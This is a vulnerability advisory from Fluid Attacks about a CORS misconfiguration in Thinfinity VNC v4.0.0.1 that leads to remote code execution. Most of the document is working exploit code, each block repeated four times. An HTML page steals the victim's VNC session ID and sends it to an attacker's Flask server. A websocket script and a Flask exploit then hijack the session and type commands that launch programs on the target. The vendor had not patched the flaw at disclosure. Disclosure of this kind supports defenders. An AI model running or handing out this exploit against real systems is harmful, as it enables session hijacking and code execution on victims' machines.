Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE
8.3
High
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
Thinfinity VNC v4.0.0.1 - CORS Misconfiguration to RCE
Code name
State
Public
Release date
May 17, 2022
Affected product
Thinfinity VNC
Affected version(s)
v4.0.0.1
Vulnerability name
CORS Misconfiguration
Vulnerability type
Remotely exploitable
Yes
CVSS v3.1 vector string
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
CVSS v3.1 base score
8.3
Exploit available
Yes
CVE ID(s)
Description
Thinfinity VNC v4.0.0.1 contains a Cross-Origin Resource Sharing (CORS) vulnerability which can allow an unprivileged remote attacker, if they can trick a user into browse malicious site, to obtain an ID that can be used to send websocket requests and achieve RCE.
Proof of Concept
Create a malicious site with the following content and send it to the victim.
<!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "127.0.0.1:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "172.16.28.140:8081" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
<!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "127.0.0.1:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "172.16.28.140:8081" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
<!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "127.0.0.1:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "172.16.28.140:8081" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
<!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "127.0.0.1:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "172.16.28.140:8081" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
Create a web socket connection against the target server using the exfiltrated
ID. The following PoC sends the Ctrl+Esc keystroke combination to the server.from websocket import create_connection import time # CHANGE THIS id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6" ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str + "%7D") command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}" ws.send(command)
from websocket import create_connection import time # CHANGE THIS id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6" ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str + "%7D") command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}" ws.send(command)
from websocket import create_connection import time # CHANGE THIS id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6" ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str + "%7D") command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}" ws.send(command)
from websocket import create_connection import time # CHANGE THIS id_str ="D6647736-7489-4FA3-9620-25F2DC7FA1F6" ws = create_connection("ws://172.16.28.140:8081/vnc/%7B" + id_str + "%7D") command = "cmd=fkey&key=CtrlEsc&id={" + id_str + "}" ws.send(command)
The exploit below can be used to send arbitrary commands to the server after the
IDis exfiltrated. It uses theIDto hijack the VNC connection and send keystrokes or mouse moves to the server.
Exploit
Run the flask application and trick a user with a session in Thinfinity to visit the page.
# export FLASK_APP=exploit_thinfinity # flask run --host=0.0.0.0 from flask import Flask, request, redirect from websocket import create_connection import time import socket app = Flask(__name__) # CHANGE THIS server = "192.168.1.7:8081" def current_ip(): return([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]) def send_enter(ws, str_id): ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}") time.sleep(1) def send_ctrl_esc(ws, str_id): ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id) time.sleep(1) def send_text(ws, cmd, str_id): for c in cmd: key = str(ord(c)) command = "cmd=keyb&key=66&action=down&id={%s}&char=%s&location=0" % (str_id,key) ws.send(command) time.sleep(0.2) time.sleep(2) @app.route("/exploit") def about(): ip = request.host.split(':')[0] return """ <!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "%s:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "%s" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html> """ % (ip, server) @app.route('/cors',methods=['GET']) def cors(): str_id = request.args.get('id') print(str_id) socket_url = "ws://" + server + "/vnc/%7B"+ str_id +"%7D" ws = create_connection(socket_url) send_ctrl_esc(ws,str_id) send_text(ws,"run",str_id) send_enter(ws,str_id) send_text(ws,"calc.exe",str_id) send_enter(ws,str_id) return str_id @app.route("/") def index(): return redirect('/exploit')
# export FLASK_APP=exploit_thinfinity # flask run --host=0.0.0.0 from flask import Flask, request, redirect from websocket import create_connection import time import socket app = Flask(__name__) # CHANGE THIS server = "192.168.1.7:8081" def current_ip(): return([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]) def send_enter(ws, str_id): ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}") time.sleep(1) def send_ctrl_esc(ws, str_id): ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id) time.sleep(1) def send_text(ws, cmd, str_id): for c in cmd: key = str(ord(c)) command = "cmd=keyb&key=66&action=down&id={%s}&char=%s&location=0" % (str_id,key) ws.send(command) time.sleep(0.2) time.sleep(2) @app.route("/exploit") def about(): ip = request.host.split(':')[0] return """ <!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "%s:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "%s" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html> """ % (ip, server) @app.route('/cors',methods=['GET']) def cors(): str_id = request.args.get('id') print(str_id) socket_url = "ws://" + server + "/vnc/%7B"+ str_id +"%7D" ws = create_connection(socket_url) send_ctrl_esc(ws,str_id) send_text(ws,"run",str_id) send_enter(ws,str_id) send_text(ws,"calc.exe",str_id) send_enter(ws,str_id) return str_id @app.route("/") def index(): return redirect('/exploit')
# export FLASK_APP=exploit_thinfinity # flask run --host=0.0.0.0 from flask import Flask, request, redirect from websocket import create_connection import time import socket app = Flask(__name__) # CHANGE THIS server = "192.168.1.7:8081" def current_ip(): return([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]) def send_enter(ws, str_id): ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}") time.sleep(1) def send_ctrl_esc(ws, str_id): ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id) time.sleep(1) def send_text(ws, cmd, str_id): for c in cmd: key = str(ord(c)) command = "cmd=keyb&key=66&action=down&id={%s}&char=%s&location=0" % (str_id,key) ws.send(command) time.sleep(0.2) time.sleep(2) @app.route("/exploit") def about(): ip = request.host.split(':')[0] return """ <!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "%s:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "%s" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html> """ % (ip, server) @app.route('/cors',methods=['GET']) def cors(): str_id = request.args.get('id') print(str_id) socket_url = "ws://" + server + "/vnc/%7B"+ str_id +"%7D" ws = create_connection(socket_url) send_ctrl_esc(ws,str_id) send_text(ws,"run",str_id) send_enter(ws,str_id) send_text(ws,"calc.exe",str_id) send_enter(ws,str_id) return str_id @app.route("/") def index(): return redirect('/exploit')
# export FLASK_APP=exploit_thinfinity # flask run --host=0.0.0.0 from flask import Flask, request, redirect from websocket import create_connection import time import socket app = Flask(__name__) # CHANGE THIS server = "192.168.1.7:8081" def current_ip(): return([l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith("127.")][:1], [[(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]) def send_enter(ws, str_id): ws.send("cmd=keyb&key=13&char=0&action=down&id={" + str_id + "}") time.sleep(1) def send_ctrl_esc(ws, str_id): ws.send("cmd=fkey&key=CtrlEsc&id={%s}" % str_id) time.sleep(1) def send_text(ws, cmd, str_id): for c in cmd: key = str(ord(c)) command = "cmd=keyb&key=66&action=down&id={%s}&char=%s&location=0" % (str_id,key) ws.send(command) time.sleep(0.2) time.sleep(2) @app.route("/exploit") def about(): ip = request.host.split(':')[0] return """ <!DOCTYPE html> <html> <body> <center> <h2>CORS Thinfinity POC Exploit</h2> <h3>Extract ID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { response = JSON.parse(this.responseText) id_str = response['id'] id_str = id_str.slice(1, id_str.length - 1) alert("Exfiltrated ID: " + id_str) alert("Do you want to send the exploit?") const flask_http = new XMLHttpRequest(); // Server to exfiltrate the websocket id // CHANGE THIS var exf_server = "%s:5000" const url = "http://" + exf_server + "/cors?id=" + id_str // Send ID to flask application flask_http.open("GET", url) flask_http.send() flask_http.onreadystatechange = function() { alert('Done!!!') } } }; // exfiltrate ID using CORS vulnerability // CHANGE THIS var server = "%s" xhttp.open("GET", "http://" + server + "/vnc/cmd?cmd=connect&wscompression=true&destAddr=&screenWidth=1308&screenHeight=741&orientation=90&browserWidth=654&browserHeight=627&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supportsFullScreen=true&webapp=false", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html> """ % (ip, server) @app.route('/cors',methods=['GET']) def cors(): str_id = request.args.get('id') print(str_id) socket_url = "ws://" + server + "/vnc/%7B"+ str_id +"%7D" ws = create_connection(socket_url) send_ctrl_esc(ws,str_id) send_text(ws,"run",str_id) send_enter(ws,str_id) send_text(ws,"calc.exe",str_id) send_enter(ws,str_id) return str_id @app.route("/") def index(): return redirect('/exploit')
Mitigation
By 2022-05-17 there is not a patch resolving the issue.
References
Vendor page https://www.cybelesoft.com/thinfinity/
Timeline
Apr 11, 2022
Vulnerability discovered
Apr 11, 2022
Vendor contacted
May 17, 2022
Public disclosure
Does your application use this vulnerable software?
During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2026 Fluid Attacks. We hack your software.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.
Meet us at RSA Conference™ 2026 at booth N-4614! Book a demo on-site.





